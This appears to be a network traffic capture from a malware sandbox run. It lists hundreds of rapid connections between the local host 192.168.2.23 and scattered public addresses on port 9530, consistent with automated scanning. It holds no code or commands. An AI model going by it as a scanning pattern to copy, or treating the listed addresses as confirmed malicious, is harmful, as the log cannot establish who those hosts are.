May 16, 2024 16:38:51.989748955 CEST	55095	9530	192.168.2.23	85.25.208.57
May 16, 2024 16:38:51.989753962 CEST	9530	55095	43.178.158.17	192.168.2.23
May 16, 2024 16:38:51.989758015 CEST	9530	55095	107.40.180.160	192.168.2.23
May 16, 2024 16:38:51.989761114 CEST	55095	9530	192.168.2.23	50.76.142.132
May 16, 2024 16:38:51.989763021 CEST	55095	9530	192.168.2.23	167.211.122.175
May 16, 2024 16:38:51.989773035 CEST	55095	9530	192.168.2.23	38.40.174.168
May 16, 2024 16:38:51.989784002 CEST	55095	9530	192.168.2.23	173.182.208.199
May 16, 2024 16:38:51.989826918 CEST	55095	9530	192.168.2.23	43.178.158.17
May 16, 2024 16:38:51.989830017 CEST	55095	9530	192.168.2.23	107.40.180.160
May 16, 2024 16:38:51.990262032 CEST	9530	55095	90.177.155.78	192.168.2.23
May 16, 2024 16:38:51.990276098 CEST	9530	55095	180.3.157.28	192.168.2.23
May 16, 2024 16:38:51.990283966 CEST	9530	55095	58.178.71.136	192.168.2.23
May 16, 2024 16:38:51.990292072 CEST	9530	55095	134.60.36.72	192.168.2.23
May 16, 2024 16:38:51.990302086 CEST	9530	55095	200.58.96.64	192.168.2.23
May 16, 2024 16:38:51.990309000 CEST	9530	55095	131.55.163.233	192.168.2.23
May 16, 2024 16:38:51.990312099 CEST	55095	9530	192.168.2.23	180.3.157.28
May 16, 2024 16:38:51.990314007 CEST	55095	9530	192.168.2.23	90.177.155.78
May 16, 2024 16:38:51.990323067 CEST	55095	9530	192.168.2.23	58.178.71.136
May 16, 2024 16:38:51.990324974 CEST	9530	55095	182.176.107.208	192.168.2.23
May 16, 2024 16:38:51.990334988 CEST	9530	55095	64.184.25.250	192.168.2.23
May 16, 2024 16:38:51.990344048 CEST	9530	55095	161.237.60.219	192.168.2.23
May 16, 2024 16:38:51.990350008 CEST	55095	9530	192.168.2.23	200.58.96.64
May 16, 2024 16:38:51.990353107 CEST	9530	55095	38.208.184.52	192.168.2.23
May 16, 2024 16:38:51.990354061 CEST	55095	9530	192.168.2.23	134.60.36.72
May 16, 2024 16:38:51.990364075 CEST	55095	9530	192.168.2.23	182.176.107.208
May 16, 2024 16:38:51.990364075 CEST	9530	55095	87.78.131.82	192.168.2.23
May 16, 2024 16:38:51.990371943 CEST	55095	9530	192.168.2.23	131.55.163.233
May 16, 2024 16:38:51.990375042 CEST	9530	55095	23.217.251.54	192.168.2.23
May 16, 2024 16:38:51.990371943 CEST	55095	9530	192.168.2.23	161.237.60.219
May 16, 2024 16:38:51.990377903 CEST	55095	9530	192.168.2.23	64.184.25.250
May 16, 2024 16:38:51.990379095 CEST	9530	55095	70.179.229.201	192.168.2.23
May 16, 2024 16:38:51.990390062 CEST	9530	55095	77.214.37.125	192.168.2.23
May 16, 2024 16:38:51.990398884 CEST	9530	55095	165.135.245.10	192.168.2.23
May 16, 2024 16:38:51.990402937 CEST	55095	9530	192.168.2.23	38.208.184.52
May 16, 2024 16:38:51.990402937 CEST	9530	55095	195.111.223.251	192.168.2.23
May 16, 2024 16:38:51.990406990 CEST	9530	55095	164.66.219.207	192.168.2.23
May 16, 2024 16:38:51.990411043 CEST	55095	9530	192.168.2.23	23.217.251.54
May 16, 2024 16:38:51.990412951 CEST	55095	9530	192.168.2.23	87.78.131.82
May 16, 2024 16:38:51.990416050 CEST	9530	55095	67.225.41.243	192.168.2.23
May 16, 2024 16:38:51.990422010 CEST	9530	55095	150.118.203.222	192.168.2.23
May 16, 2024 16:38:51.990434885 CEST	9530	55095	218.92.131.82	192.168.2.23
May 16, 2024 16:38:51.990436077 CEST	55095	9530	192.168.2.23	70.179.229.201
May 16, 2024 16:38:51.990459919 CEST	55095	9530	192.168.2.23	150.118.203.222
May 16, 2024 16:38:51.990463018 CEST	55095	9530	192.168.2.23	165.135.245.10
May 16, 2024 16:38:51.990463018 CEST	55095	9530	192.168.2.23	195.111.223.251
May 16, 2024 16:38:51.990463018 CEST	55095	9530	192.168.2.23	164.66.219.207
May 16, 2024 16:38:51.990474939 CEST	55095	9530	192.168.2.23	77.214.37.125
May 16, 2024 16:38:51.990474939 CEST	55095	9530	192.168.2.23	67.225.41.243
May 16, 2024 16:38:51.990478992 CEST	55095	9530	192.168.2.23	218.92.131.82
May 16, 2024 16:38:51.990677118 CEST	9530	55095	46.153.115.143	192.168.2.23
May 16, 2024 16:38:51.990689993 CEST	9530	55095	67.80.227.244	192.168.2.23
May 16, 2024 16:38:51.990700006 CEST	9530	55095	175.103.58.196	192.168.2.23
May 16, 2024 16:38:51.990708113 CEST	9530	55095	207.54.194.214	192.168.2.23
May 16, 2024 16:38:51.990716934 CEST	9530	55095	177.7.112.209	192.168.2.23
May 16, 2024 16:38:51.990726948 CEST	9530	55095	199.227.99.30	192.168.2.23
May 16, 2024 16:38:51.990727901 CEST	55095	9530	192.168.2.23	67.80.227.244
May 16, 2024 16:38:51.990730047 CEST	55095	9530	192.168.2.23	46.153.115.143
May 16, 2024 16:38:51.990736961 CEST	55095	9530	192.168.2.23	207.54.194.214
May 16, 2024 16:38:51.990737915 CEST	9530	55095	148.144.112.218	192.168.2.23
May 16, 2024 16:38:51.990746975 CEST	9530	55095	204.244.153.39	192.168.2.23
May 16, 2024 16:38:51.990747929 CEST	55095	9530	192.168.2.23	177.7.112.209
May 16, 2024 16:38:51.990751982 CEST	55095	9530	192.168.2.23	175.103.58.196
May 16, 2024 16:38:51.990756989 CEST	9530	55095	119.171.96.85	192.168.2.23
May 16, 2024 16:38:51.990767002 CEST	9530	55095	86.138.114.25	192.168.2.23
May 16, 2024 16:38:51.990771055 CEST	55095	9530	192.168.2.23	199.227.99.30
May 16, 2024 16:38:51.990776062 CEST	9530	55095	134.223.39.52	192.168.2.23
May 16, 2024 16:38:51.990786076 CEST	55095	9530	192.168.2.23	148.144.112.218
May 16, 2024 16:38:51.990786076 CEST	55095	9530	192.168.2.23	204.244.153.39
May 16, 2024 16:38:51.990787029 CEST	9530	55095	79.187.244.83	192.168.2.23
May 16, 2024 16:38:51.990792036 CEST	55095	9530	192.168.2.23	119.171.96.85
May 16, 2024 16:38:51.990797997 CEST	9530	55095	77.14.164.237	192.168.2.23
May 16, 2024 16:38:51.990797997 CEST	55095	9530	192.168.2.23	86.138.114.25
May 16, 2024 16:38:51.990807056 CEST	9530	55095	130.129.198.119	192.168.2.23
May 16, 2024 16:38:51.990818024 CEST	9530	55095	147.221.158.249	192.168.2.23
May 16, 2024 16:38:51.990825891 CEST	55095	9530	192.168.2.23	79.187.244.83
May 16, 2024 16:38:51.990828991 CEST	9530	55095	71.137.74.149	192.168.2.23
May 16, 2024 16:38:51.990828991 CEST	55095	9530	192.168.2.23	134.223.39.52
May 16, 2024 16:38:51.990829945 CEST	55095	9530	192.168.2.23	77.14.164.237
May 16, 2024 16:38:51.990840912 CEST	9530	55095	149.141.248.190	192.168.2.23
May 16, 2024 16:38:51.990849018 CEST	55095	9530	192.168.2.23	130.129.198.119
May 16, 2024 16:38:51.990850925 CEST	9530	55095	44.167.248.24	192.168.2.23
May 16, 2024 16:38:51.990859985 CEST	9530	55095	219.252.31.46	192.168.2.23
May 16, 2024 16:38:51.990861893 CEST	55095	9530	192.168.2.23	147.221.158.249
May 16, 2024 16:38:51.990869999 CEST	9530	55095	43.94.21.177	192.168.2.23
May 16, 2024 16:38:51.990873098 CEST	55095	9530	192.168.2.23	149.141.248.190
May 16, 2024 16:38:51.990880013 CEST	9530	55095	36.253.136.1	192.168.2.23
May 16, 2024 16:38:51.990885019 CEST	55095	9530	192.168.2.23	71.137.74.149
May 16, 2024 16:38:51.990885019 CEST	55095	9530	192.168.2.23	219.252.31.46
May 16, 2024 16:38:51.990885973 CEST	55095	9530	192.168.2.23	44.167.248.24
May 16, 2024 16:38:51.990905046 CEST	55095	9530	192.168.2.23	36.253.136.1
May 16, 2024 16:38:51.990905046 CEST	55095	9530	192.168.2.23	43.94.21.177
May 16, 2024 16:38:51.991105080 CEST	9530	55095	168.88.121.196	192.168.2.23
May 16, 2024 16:38:51.991117001 CEST	9530	55095	196.191.212.167	192.168.2.23
May 16, 2024 16:38:51.991126060 CEST	9530	55095	36.47.120.184	192.168.2.23
May 16, 2024 16:38:51.991134882 CEST	9530	55095	70.207.168.110	192.168.2.23
May 16, 2024 16:38:51.991142988 CEST	55095	9530	192.168.2.23	196.191.212.167
May 16, 2024 16:38:51.991143942 CEST	9530	55095	63.203.189.116	192.168.2.23
May 16, 2024 16:38:51.991147041 CEST	55095	9530	192.168.2.23	168.88.121.196
May 16, 2024 16:38:51.991153955 CEST	9530	55095	117.145.236.22	192.168.2.23
May 16, 2024 16:38:51.991158962 CEST	55095	9530	192.168.2.23	36.47.120.184
May 16, 2024 16:38:51.991164923 CEST	9530	55095	161.187.80.145	192.168.2.23
May 16, 2024 16:38:51.991174936 CEST	9530	55095	128.119.188.62	192.168.2.23
May 16, 2024 16:38:51.991175890 CEST	55095	9530	192.168.2.23	70.207.168.110
May 16, 2024 16:38:51.991183043 CEST	9530	55095	101.149.172.9	192.168.2.23
May 16, 2024 16:38:51.991188049 CEST	55095	9530	192.168.2.23	117.145.236.22
May 16, 2024 16:38:51.991188049 CEST	55095	9530	192.168.2.23	63.203.189.116
May 16, 2024 16:38:51.991189957 CEST	55095	9530	192.168.2.23	161.187.80.145
May 16, 2024 16:38:51.991192102 CEST	9530	55095	183.162.126.35	192.168.2.23
May 16, 2024 16:38:51.991204023 CEST	55095	9530	192.168.2.23	128.119.188.62
May 16, 2024 16:38:51.991204977 CEST	9530	55095	32.114.135.226	192.168.2.23
May 16, 2024 16:38:51.991214037 CEST	9530	55095	135.211.180.47	192.168.2.23
May 16, 2024 16:38:51.991216898 CEST	55095	9530	192.168.2.23	183.162.126.35
May 16, 2024 16:38:51.991221905 CEST	9530	55095	190.235.80.222	192.168.2.23
May 16, 2024 16:38:51.991221905 CEST	55095	9530	192.168.2.23	101.149.172.9
May 16, 2024 16:38:51.991225958 CEST	9530	55095	107.126.254.64	192.168.2.23
May 16, 2024 16:38:51.991230011 CEST	9530	55095	51.44.69.55	192.168.2.23
May 16, 2024 16:38:51.991234064 CEST	9530	55095	149.198.27.100	192.168.2.23
May 16, 2024 16:38:51.991236925 CEST	55095	9530	192.168.2.23	32.114.135.226
May 16, 2024 16:38:51.991238117 CEST	9530	55095	94.93.117.102	192.168.2.23
May 16, 2024 16:38:51.991246939 CEST	9530	55095	85.36.244.4	192.168.2.23
May 16, 2024 16:38:51.991255999 CEST	9530	55095	123.100.212.171	192.168.2.23
May 16, 2024 16:38:51.991260052 CEST	55095	9530	192.168.2.23	135.211.180.47
May 16, 2024 16:38:51.991262913 CEST	55095	9530	192.168.2.23	190.235.80.222
May 16, 2024 16:38:51.991265059 CEST	9530	55095	186.4.157.196	192.168.2.23
May 16, 2024 16:38:51.991271019 CEST	55095	9530	192.168.2.23	51.44.69.55
May 16, 2024 16:38:51.991274118 CEST	9530	55095	161.191.79.135	192.168.2.23
May 16, 2024 16:38:51.991280079 CEST	55095	9530	192.168.2.23	85.36.244.4
May 16, 2024 16:38:51.991280079 CEST	55095	9530	192.168.2.23	123.100.212.171
May 16, 2024 16:38:51.991283894 CEST	9530	55095	88.245.165.209	192.168.2.23
May 16, 2024 16:38:51.991293907 CEST	9530	55095	72.2.138.77	192.168.2.23
May 16, 2024 16:38:51.991303921 CEST	55095	9530	192.168.2.23	107.126.254.64
May 16, 2024 16:38:51.991303921 CEST	55095	9530	192.168.2.23	149.198.27.100
May 16, 2024 16:38:51.991303921 CEST	55095	9530	192.168.2.23	94.93.117.102
May 16, 2024 16:38:51.991303921 CEST	55095	9530	192.168.2.23	186.4.157.196
May 16, 2024 16:38:51.991306067 CEST	9530	55095	36.0.214.68	192.168.2.23
May 16, 2024 16:38:51.991317034 CEST	55095	9530	192.168.2.23	161.191.79.135
May 16, 2024 16:38:51.991318941 CEST	9530	55095	47.73.91.221	192.168.2.23
May 16, 2024 16:38:51.991326094 CEST	55095	9530	192.168.2.23	88.245.165.209
May 16, 2024 16:38:51.991327047 CEST	55095	9530	192.168.2.23	72.2.138.77
May 16, 2024 16:38:51.991329908 CEST	9530	55095	157.27.23.145	192.168.2.23
May 16, 2024 16:38:51.991334915 CEST	55095	9530	192.168.2.23	36.0.214.68
May 16, 2024 16:38:51.991343021 CEST	9530	55095	117.47.26.41	192.168.2.23
May 16, 2024 16:38:51.991353035 CEST	9530	55095	184.153.209.75	192.168.2.23
May 16, 2024 16:38:51.991362095 CEST	9530	55095	217.143.81.224	192.168.2.23
May 16, 2024 16:38:51.991370916 CEST	9530	55095	87.125.102.162	192.168.2.23
May 16, 2024 16:38:51.991374016 CEST	55095	9530	192.168.2.23	117.47.26.41
May 16, 2024 16:38:51.991374016 CEST	55095	9530	192.168.2.23	47.73.91.221
May 16, 2024 16:38:51.991379023 CEST	9530	55095	197.18.3.29	192.168.2.23
May 16, 2024 16:38:51.991389036 CEST	9530	55095	47.212.244.144	192.168.2.23
May 16, 2024 16:38:51.991393089 CEST	55095	9530	192.168.2.23	184.153.209.75
May 16, 2024 16:38:51.991398096 CEST	9530	55095	142.67.241.162	192.168.2.23
May 16, 2024 16:38:51.991398096 CEST	55095	9530	192.168.2.23	217.143.81.224
May 16, 2024 16:38:51.991406918 CEST	9530	55095	99.126.89.89	192.168.2.23
May 16, 2024 16:38:51.991413116 CEST	55095	9530	192.168.2.23	197.18.3.29
May 16, 2024 16:38:51.991416931 CEST	9530	55095	68.18.101.174	192.168.2.23
May 16, 2024 16:38:51.991420984 CEST	55095	9530	192.168.2.23	157.27.23.145
May 16, 2024 16:38:51.991420984 CEST	55095	9530	192.168.2.23	87.125.102.162
May 16, 2024 16:38:51.991421938 CEST	55095	9530	192.168.2.23	47.212.244.144
May 16, 2024 16:38:51.991427898 CEST	9530	55095	68.197.78.79	192.168.2.23
May 16, 2024 16:38:51.991437912 CEST	9530	55095	86.51.84.36	192.168.2.23
May 16, 2024 16:38:51.991444111 CEST	55095	9530	192.168.2.23	142.67.241.162
May 16, 2024 16:38:51.991446972 CEST	9530	55095	160.151.86.216	192.168.2.23
May 16, 2024 16:38:51.991457939 CEST	9530	55095	42.35.149.102	192.168.2.23
May 16, 2024 16:38:51.991467953 CEST	9530	55095	9.178.40.72	192.168.2.23
May 16, 2024 16:38:51.991468906 CEST	55095	9530	192.168.2.23	68.197.78.79
May 16, 2024 16:38:51.991473913 CEST	55095	9530	192.168.2.23	68.18.101.174
May 16, 2024 16:38:51.991476059 CEST	55095	9530	192.168.2.23	99.126.89.89
May 16, 2024 16:38:51.991477966 CEST	55095	9530	192.168.2.23	86.51.84.36
May 16, 2024 16:38:51.991478920 CEST	9530	55095	118.69.212.93	192.168.2.23
May 16, 2024 16:38:51.991480112 CEST	55095	9530	192.168.2.23	160.151.86.216
May 16, 2024 16:38:51.991488934 CEST	55095	9530	192.168.2.23	9.178.40.72
May 16, 2024 16:38:51.991544008 CEST	55095	9530	192.168.2.23	42.35.149.102
May 16, 2024 16:38:51.991554976 CEST	55095	9530	192.168.2.23	118.69.212.93
May 16, 2024 16:38:51.991941929 CEST	9530	55095	150.15.153.60	192.168.2.23
May 16, 2024 16:38:51.991954088 CEST	9530	55095	132.51.7.23	192.168.2.23
May 16, 2024 16:38:51.991962910 CEST	9530	55095	114.140.113.172	192.168.2.23
May 16, 2024 16:38:51.991971970 CEST	9530	55095	135.255.197.16	192.168.2.23
May 16, 2024 16:38:51.991975069 CEST	9530	55095	77.166.125.184	192.168.2.23
May 16, 2024 16:38:51.991976976 CEST	55095	9530	192.168.2.23	150.15.153.60
May 16, 2024 16:38:51.991985083 CEST	9530	55095	35.142.137.29	192.168.2.23
May 16, 2024 16:38:51.991988897 CEST	9530	55095	91.144.87.115	192.168.2.23
May 16, 2024 16:38:51.991991997 CEST	9530	55095	9.177.38.203	192.168.2.23
May 16, 2024 16:38:51.991995096 CEST	55095	9530	192.168.2.23	135.255.197.16
May 16, 2024 16:38:51.992001057 CEST	9530	55095	109.111.205.107	192.168.2.23
May 16, 2024 16:38:51.992012024 CEST	55095	9530	192.168.2.23	132.51.7.23
May 16, 2024 16:38:51.992016077 CEST	9530	55095	61.26.49.139	192.168.2.23
May 16, 2024 16:38:51.992016077 CEST	55095	9530	192.168.2.23	114.140.113.172
May 16, 2024 16:38:51.992021084 CEST	55095	9530	192.168.2.23	35.142.137.29
May 16, 2024 16:38:51.992026091 CEST	55095	9530	192.168.2.23	109.111.205.107
May 16, 2024 16:38:51.992027044 CEST	9530	55095	87.146.95.198	192.168.2.23
May 16, 2024 16:38:51.992026091 CEST	55095	9530	192.168.2.23	77.166.125.184
May 16, 2024 16:38:51.992032051 CEST	55095	9530	192.168.2.23	91.144.87.115
May 16, 2024 16:38:51.992026091 CEST	55095	9530	192.168.2.23	9.177.38.203
May 16, 2024 16:38:51.992037058 CEST	9530	55095	125.241.173.0	192.168.2.23
May 16, 2024 16:38:51.992043018 CEST	55095	9530	192.168.2.23	61.26.49.139
May 16, 2024 16:38:51.992047071 CEST	9530	55095	161.72.244.249	192.168.2.23
May 16, 2024 16:38:51.992058992 CEST	55095	9530	192.168.2.23	87.146.95.198
May 16, 2024 16:38:51.992057085 CEST	9530	55095	131.91.23.173	192.168.2.23
May 16, 2024 16:38:51.992063999 CEST	55095	9530	192.168.2.23	125.241.173.0
May 16, 2024 16:38:51.992069960 CEST	55095	9530	192.168.2.23	161.72.244.249
May 16, 2024 16:38:51.992073059 CEST	9530	55095	98.14.56.191	192.168.2.23
May 16, 2024 16:38:51.992084026 CEST	9530	55095	25.217.249.56	192.168.2.23
May 16, 2024 16:38:51.992085934 CEST	55095	9530	192.168.2.23	131.91.23.173
May 16, 2024 16:38:51.992093086 CEST	9530	55095	159.142.154.109	192.168.2.23
May 16, 2024 16:38:51.992116928 CEST	9530	55095	35.222.10.149	192.168.2.23
May 16, 2024 16:38:51.992116928 CEST	55095	9530	192.168.2.23	98.14.56.191
May 16, 2024 16:38:51.992126942 CEST	9530	55095	179.230.149.25	192.168.2.23
May 16, 2024 16:38:51.992130995 CEST	55095	9530	192.168.2.23	159.142.154.109
May 16, 2024 16:38:51.992134094 CEST	55095	9530	192.168.2.23	25.217.249.56
May 16, 2024 16:38:51.992136955 CEST	9530	55095	117.91.18.149	192.168.2.23
May 16, 2024 16:38:51.992146015 CEST	55095	9530	192.168.2.23	35.222.10.149
May 16, 2024 16:38:51.992160082 CEST	55095	9530	192.168.2.23	179.230.149.25
May 16, 2024 16:38:51.992161036 CEST	55095	9530	192.168.2.23	117.91.18.149
May 16, 2024 16:38:51.992321968 CEST	9530	55095	104.137.40.163	192.168.2.23
May 16, 2024 16:38:51.992333889 CEST	9530	55095	145.163.7.245	192.168.2.23
May 16, 2024 16:38:51.992345095 CEST	9530	55095	31.70.143.156	192.168.2.23
May 16, 2024 16:38:51.992353916 CEST	9530	55095	132.2.3.234	192.168.2.23
May 16, 2024 16:38:51.992355108 CEST	55095	9530	192.168.2.23	104.137.40.163
May 16, 2024 16:38:51.992364883 CEST	9530	55095	52.120.64.153	192.168.2.23
May 16, 2024 16:38:51.992367029 CEST	55095	9530	192.168.2.23	145.163.7.245
May 16, 2024 16:38:51.992367029 CEST	55095	9530	192.168.2.23	31.70.143.156
May 16, 2024 16:38:51.992378950 CEST	9530	55095	184.255.191.197	192.168.2.23
May 16, 2024 16:38:51.992384911 CEST	55095	9530	192.168.2.23	132.2.3.234
May 16, 2024 16:38:51.992388010 CEST	9530	55095	193.242.243.39	192.168.2.23
May 16, 2024 16:38:51.992388964 CEST	55095	9530	192.168.2.23	52.120.64.153
May 16, 2024 16:38:51.992398024 CEST	9530	55095	81.249.108.71	192.168.2.23
May 16, 2024 16:38:51.992408037 CEST	9530	55095	97.235.195.34	192.168.2.23
May 16, 2024 16:38:51.992413044 CEST	55095	9530	192.168.2.23	184.255.191.197
May 16, 2024 16:38:51.992418051 CEST	9530	55095	53.158.208.253	192.168.2.23
May 16, 2024 16:38:51.992428064 CEST	9530	55095	151.0.130.234	192.168.2.23
May 16, 2024 16:38:51.992435932 CEST	55095	9530	192.168.2.23	193.242.243.39
May 16, 2024 16:38:51.992439032 CEST	9530	55095	82.17.80.97	192.168.2.23
May 16, 2024 16:38:51.992445946 CEST	55095	9530	192.168.2.23	81.249.108.71
May 16, 2024 16:38:51.992445946 CEST	55095	9530	192.168.2.23	97.235.195.34
May 16, 2024 16:38:51.992448092 CEST	9530	55095	103.167.191.69	192.168.2.23
May 16, 2024 16:38:51.992453098 CEST	55095	9530	192.168.2.23	53.158.208.253
May 16, 2024 16:38:51.992456913 CEST	9530	55095	125.110.76.166	192.168.2.23
May 16, 2024 16:38:51.992465973 CEST	9530	55095	112.10.67.164	192.168.2.23
May 16, 2024 16:38:51.992466927 CEST	55095	9530	192.168.2.23	82.17.80.97
May 16, 2024 16:38:51.992470026 CEST	55095	9530	192.168.2.23	151.0.130.234
May 16, 2024 16:38:51.992475986 CEST	9530	55095	101.8.85.170	192.168.2.23
May 16, 2024 16:38:51.992479086 CEST	55095	9530	192.168.2.23	103.167.191.69
May 16, 2024 16:38:51.992485046 CEST	9530	55095	105.48.203.230	192.168.2.23
May 16, 2024 16:38:51.992492914 CEST	55095	9530	192.168.2.23	125.110.76.166
May 16, 2024 16:38:51.992495060 CEST	9530	55095	158.237.153.228	192.168.2.23
May 16, 2024 16:38:51.992503881 CEST	9530	55095	138.243.64.148	192.168.2.23
May 16, 2024 16:38:51.992511988 CEST	55095	9530	192.168.2.23	112.10.67.164
May 16, 2024 16:38:51.992511988 CEST	55095	9530	192.168.2.23	101.8.85.170
May 16, 2024 16:38:51.992513895 CEST	9530	55095	128.99.97.221	192.168.2.23
May 16, 2024 16:38:51.992517948 CEST	55095	9530	192.168.2.23	105.48.203.230
May 16, 2024 16:38:51.992522001 CEST	9530	55095	198.181.146.167	192.168.2.23
May 16, 2024 16:38:51.992527008 CEST	9530	55095	152.232.2.41	192.168.2.23
May 16, 2024 16:38:51.992537022 CEST	9530	55095	157.104.189.40	192.168.2.23
May 16, 2024 16:38:51.992537022 CEST	55095	9530	192.168.2.23	158.237.153.228
May 16, 2024 16:38:51.992537022 CEST	55095	9530	192.168.2.23	138.243.64.148
May 16, 2024 16:38:51.992542028 CEST	55095	9530	192.168.2.23	128.99.97.221
May 16, 2024 16:38:51.992547035 CEST	55095	9530	192.168.2.23	198.181.146.167
May 16, 2024 16:38:51.992549896 CEST	9530	55095	95.168.30.108	192.168.2.23
May 16, 2024 16:38:51.992561102 CEST	9530	55095	95.243.45.84	192.168.2.23
May 16, 2024 16:38:51.992563963 CEST	55095	9530	192.168.2.23	152.232.2.41
May 16, 2024 16:38:51.992569923 CEST	9530	55095	159.203.118.93	192.168.2.23
May 16, 2024 16:38:51.992574930 CEST	55095	9530	192.168.2.23	95.168.30.108
May 16, 2024 16:38:51.992578983 CEST	9530	55095	141.202.88.221	192.168.2.23
May 16, 2024 16:38:51.992579937 CEST	55095	9530	192.168.2.23	157.104.189.40
May 16, 2024 16:38:51.992588043 CEST	9530	55095	125.254.212.102	192.168.2.23
May 16, 2024 16:38:51.992588997 CEST	55095	9530	192.168.2.23	95.243.45.84
May 16, 2024 16:38:51.992593050 CEST	9530	55095	97.34.175.93	192.168.2.23
May 16, 2024 16:38:51.992602110 CEST	9530	55095	181.229.220.219	192.168.2.23
May 16, 2024 16:38:51.992604971 CEST	55095	9530	192.168.2.23	159.203.118.93
May 16, 2024 16:38:51.992611885 CEST	9530	55095	170.131.155.147	192.168.2.23
May 16, 2024 16:38:51.992619991 CEST	55095	9530	192.168.2.23	125.254.212.102
May 16, 2024 16:38:51.992621899 CEST	9530	55095	18.120.178.244	192.168.2.23
May 16, 2024 16:38:51.992623091 CEST	55095	9530	192.168.2.23	141.202.88.221
May 16, 2024 16:38:51.992623091 CEST	55095	9530	192.168.2.23	97.34.175.93
May 16, 2024 16:38:51.992633104 CEST	9530	55095	188.150.91.171	192.168.2.23
May 16, 2024 16:38:51.992638111 CEST	55095	9530	192.168.2.23	181.229.220.219
May 16, 2024 16:38:51.992654085 CEST	9530	55095	162.180.44.11	192.168.2.23
May 16, 2024 16:38:51.992655039 CEST	55095	9530	192.168.2.23	170.131.155.147
May 16, 2024 16:38:51.992664099 CEST	9530	55095	134.182.146.123	192.168.2.23
May 16, 2024 16:38:51.992667913 CEST	55095	9530	192.168.2.23	18.120.178.244
May 16, 2024 16:38:51.992667913 CEST	55095	9530	192.168.2.23	188.150.91.171
May 16, 2024 16:38:51.992674112 CEST	9530	55095	191.232.197.246	192.168.2.23
May 16, 2024 16:38:51.992675066 CEST	55095	9530	192.168.2.23	162.180.44.11
May 16, 2024 16:38:51.992683887 CEST	9530	55095	211.26.162.135	192.168.2.23
May 16, 2024 16:38:51.992701054 CEST	9530	55095	123.222.145.97	192.168.2.23
May 16, 2024 16:38:51.992711067 CEST	9530	55095	133.204.129.71	192.168.2.23
May 16, 2024 16:38:51.992721081 CEST	9530	55095	53.86.56.47	192.168.2.23
May 16, 2024 16:38:51.992727041 CEST	55095	9530	192.168.2.23	191.232.197.246
May 16, 2024 16:38:51.992728949 CEST	9530	55095	86.206.254.149	192.168.2.23
May 16, 2024 16:38:51.992731094 CEST	55095	9530	192.168.2.23	134.182.146.123
May 16, 2024 16:38:51.992738962 CEST	55095	9530	192.168.2.23	211.26.162.135
May 16, 2024 16:38:51.992744923 CEST	55095	9530	192.168.2.23	123.222.145.97
May 16, 2024 16:38:51.992755890 CEST	55095	9530	192.168.2.23	133.204.129.71
May 16, 2024 16:38:51.992793083 CEST	55095	9530	192.168.2.23	86.206.254.149
May 16, 2024 16:38:51.993153095 CEST	55095	9530	192.168.2.23	53.86.56.47
May 16, 2024 16:38:51.993175030 CEST	9530	55095	197.143.195.47	192.168.2.23
May 16, 2024 16:38:51.993184090 CEST	54936	8080	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.993187904 CEST	9530	55095	180.121.130.50	192.168.2.23
May 16, 2024 16:38:51.993199110 CEST	9530	55095	25.181.172.245	192.168.2.23
May 16, 2024 16:38:51.993207932 CEST	9530	55095	197.185.25.232	192.168.2.23
May 16, 2024 16:38:51.993216991 CEST	9530	55095	102.78.176.200	192.168.2.23
May 16, 2024 16:38:51.993227005 CEST	9530	55095	202.118.140.127	192.168.2.23
May 16, 2024 16:38:51.993228912 CEST	55095	9530	192.168.2.23	180.121.130.50
May 16, 2024 16:38:51.993228912 CEST	55095	9530	192.168.2.23	25.181.172.245
May 16, 2024 16:38:51.993237972 CEST	9530	55095	147.32.224.192	192.168.2.23
May 16, 2024 16:38:51.993244886 CEST	55095	9530	192.168.2.23	102.78.176.200
May 16, 2024 16:38:51.993247986 CEST	9530	55095	217.139.51.108	192.168.2.23
May 16, 2024 16:38:51.993264914 CEST	9530	55095	49.228.206.69	192.168.2.23
May 16, 2024 16:38:51.993274927 CEST	9530	55095	118.98.202.161	192.168.2.23
May 16, 2024 16:38:51.993273020 CEST	55095	9530	192.168.2.23	197.143.195.47
May 16, 2024 16:38:51.993273020 CEST	55095	9530	192.168.2.23	217.139.51.108
May 16, 2024 16:38:51.993285894 CEST	9530	55095	61.191.84.22	192.168.2.23
May 16, 2024 16:38:51.993298054 CEST	9530	55095	97.46.176.167	192.168.2.23
May 16, 2024 16:38:51.993299961 CEST	55095	9530	192.168.2.23	197.185.25.232
May 16, 2024 16:38:51.993299961 CEST	55095	9530	192.168.2.23	202.118.140.127
May 16, 2024 16:38:51.993300915 CEST	55095	9530	192.168.2.23	147.32.224.192
May 16, 2024 16:38:51.993305922 CEST	9530	55095	77.177.123.114	192.168.2.23
May 16, 2024 16:38:51.993309021 CEST	55095	9530	192.168.2.23	118.98.202.161
May 16, 2024 16:38:51.993310928 CEST	9530	55095	199.134.57.18	192.168.2.23
May 16, 2024 16:38:51.993310928 CEST	55095	9530	192.168.2.23	49.228.206.69
May 16, 2024 16:38:51.993320942 CEST	9530	55095	223.69.239.5	192.168.2.23
May 16, 2024 16:38:51.993330002 CEST	9530	55095	198.51.253.20	192.168.2.23
May 16, 2024 16:38:51.993335009 CEST	55095	9530	192.168.2.23	61.191.84.22
May 16, 2024 16:38:51.993341923 CEST	9530	55095	43.18.44.42	192.168.2.23
May 16, 2024 16:38:51.993351936 CEST	55095	9530	192.168.2.23	77.177.123.114
May 16, 2024 16:38:51.993352890 CEST	9530	55095	34.151.206.191	192.168.2.23
May 16, 2024 16:38:51.993351936 CEST	55095	9530	192.168.2.23	223.69.239.5
May 16, 2024 16:38:51.993362904 CEST	9530	55095	102.48.182.236	192.168.2.23
May 16, 2024 16:38:51.993365049 CEST	55095	9530	192.168.2.23	199.134.57.18
May 16, 2024 16:38:51.993365049 CEST	55095	9530	192.168.2.23	198.51.253.20
May 16, 2024 16:38:51.993372917 CEST	9530	55095	1.58.180.154	192.168.2.23
May 16, 2024 16:38:51.993385077 CEST	55095	9530	192.168.2.23	97.46.176.167
May 16, 2024 16:38:51.993386984 CEST	55095	9530	192.168.2.23	34.151.206.191
May 16, 2024 16:38:51.993393898 CEST	55095	9530	192.168.2.23	1.58.180.154
May 16, 2024 16:38:51.993396044 CEST	55095	9530	192.168.2.23	43.18.44.42
May 16, 2024 16:38:51.993396044 CEST	55095	9530	192.168.2.23	102.48.182.236
May 16, 2024 16:38:51.993611097 CEST	9530	55095	43.163.40.229	192.168.2.23
May 16, 2024 16:38:51.993623018 CEST	9530	55095	209.132.223.202	192.168.2.23
May 16, 2024 16:38:51.993633032 CEST	9530	55095	175.93.194.56	192.168.2.23
May 16, 2024 16:38:51.993642092 CEST	9530	55095	79.199.180.155	192.168.2.23
